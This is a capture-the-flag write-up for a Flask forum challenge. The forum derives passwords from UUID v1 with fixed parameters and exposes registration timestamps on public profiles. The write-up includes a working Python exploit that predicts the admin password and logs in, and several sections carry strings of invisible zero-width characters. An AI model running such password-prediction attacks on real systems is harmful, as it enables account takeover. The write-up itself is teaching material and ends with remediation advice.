← Back to Writeups
CUSTOMMediumWeb

Форум предсказателей (Prediction Forum)

XESXOR9/10/20264 min read
#web#custom#medium#admin-account-takeover-via-pas#information-disclosure-via-pub#source-code-analysis-for-crypt#uuid-v1-password-prediction-fr

Форум предсказателей (Prediction Forum)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Admin account takeover via password reconstruction, Information disclosure via public profile endpoint, Source code analysis for cryptographic weakness, UUID v1 password prediction from timestamp

Summary

Task: Flask forum with UUID v1-based password generation and public profile endpoint exposing user timestamps. Solution: Extracted admin creation timestamp from public profile, reconstructed password using the same UUID generation function with hardcoded clock_seq and node values, logged in as admin to get the flag.

Форум предсказателей (Prediction Forum) - HackerLab

Description

Вы умеете предсказывать будущее? А узнавать чьё-то прошлое? Нет? Что ж, в любом случае нам пришёл новый заказ: оценить безопасность одного форума. Это по Вашей части и вряд ли в этом случае Вам нужно обладать экстрасенсорными навыками, потому что в IT-сфере магии не бывает.

Analysis

Vulnerability: Predictable UUID-based Password Generation

Source code analysis of the Flask application revealed a critical vulnerability in password generation: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Timestamp-based password generation: Passwords are generated by the generate_uuid() function, which uses the user's registration time (created_at)

  2. Fixed cryptographic parameters: The function uses hardcoded values:

    • clock_seq = 0x89ca
    • node = 0x000c297433a0
  3. Information Disclosure: The public endpoint /profile/<id> exposes the created_at timestamp for any user

  4. Attack: Knowing the registration timestamp, an attacker can reconstruct any user's password

Vulnerable Code (app.py)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
def generate_uuid(timestamp_str):
    timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f")
    uuid_epoch = datetime(1582, 10, 15)
    intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7)
    clock_seq = 0x89ca  # FIXED!
    node = 0x000c297433a0  # FIXED!
    uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF,
                              (intervals >> 32) & 0xFFFF,
                              ((intervals >> 48) & 0x0FFF) | (1 << 12),
                              clock_seq >> 8,
                              clock_seq & 0xFF,
                              node))
    return str(uuid1)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Security Issues

  1. UUID v1 is not meant for passwords - UUID v1 is deterministic when parameters are known
  2. Fixed clock_seq and node - Removes the only source of entropy
  3. Timestamp as the only secret - And it's publicly available via API
  4. Information Disclosure - User profiles expose critical information

Solution

Step 1: Obtaining the Admin's Timestamp

Access the admin's public profile at /profile/1:

Username: admin
created_at: 2025-01-22 00:42:26.053996

Step 2: Reconstructing the Password

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Use the same generate_uuid() function with the obtained timestamp:

python
import uuid
from datetime import datetime

def generate_uuid(timestamp_str):
    timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f")
    uuid_epoch = datetime(1582, 10, 15)
    intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7)
    clock_seq = 0x89ca
    node = 0x000c297433a0
    uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF,
                              (intervals >> 32) & 0xFFFF,
                              ((intervals >> 48) & 0x0FFF) | (1 << 12),
                              clock_seq >> 8,
                              clock_seq & 0xFF,
                              node))
    return str(uuid1)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

admin_timestamp = "2025-01-22 00:42:26.053996"
admin_password = generate_uuid(admin_timestamp)
print(f"Admin password: {admin_password}")
# Output: c03ac230-d859-11ef-89ca-000c297433a0

Step 3: Logging in as Admin

Username: admin
Password: c03ac230-d859-11ef-89ca-000c297433a0

Step 4: Obtaining the Flag

After logging in, accessing /profile shows the secret_word containing the flag.

Full Exploit

python
#!/usr/bin/env python3
"""
Prediction Forum - UUID Password Prediction Attack
HackerLab CTF
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import uuid
import requests
from datetime import datetime

BASE_URL = "http://target:port"

def generate_uuid(timestamp_str):
    """Reconstruct password from timestamp using vulnerable UUID generation"""
    timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f")
    uuid_epoch = datetime(1582, 10, 15)
    intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7)
    clock_seq = 0x89ca  # Fixed value from source code
    node = 0x000c297433a0  # Fixed value from source code
    uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF,
                              (intervals >> 32) & 0xFFFF,
                              ((intervals >> 48) & 0x0FFF) | (1 << 12),
                              clock_seq >> 8,
                              clock_seq & 0xFF,
                              node))
    return str(uuid1)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def exploit():
    session = requests.Session()
    
    # Step 1: Get admin's created_at timestamp from public profile
    print("[*] Fetching admin profile...")
    resp = session.get(f"{BASE_URL}/profile/1")
    # Parse created_at from response (implementation depends on response format)
    admin_timestamp = "2025-01-22 00:42:26.053996"  # From profile page
    
    # Step 2: Predict admin password
    admin_password = generate_uuid(admin_timestamp)
    print(f"[+] Predicted admin password: {admin_password}")
    
    # Step 3: Login as admin
    print("[*] Logging in as admin...")
    resp = session.post(f"{BASE_URL}/login", data={
        "username": "admin",
        "password": admin_password
    })
    
    # Step 4: Get flag from profile
    print("[*] Fetching flag from profile...")
    resp = session.get(f"{BASE_URL}/profile")
    print(f"[+] Flag: {resp.text}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    exploit()

Lessons

  1. UUID v1 is not cryptographically secure - It's predictable when parameters are known
  2. Use UUID v4 - It's based on random numbers
  3. Use CSPRNG for passwords - secrets.token_urlsafe() in Python
  4. Don't expose creation timestamps - Or any information used in secret generation
  5. Principle of least privilege - Public profiles should not contain sensitive data

References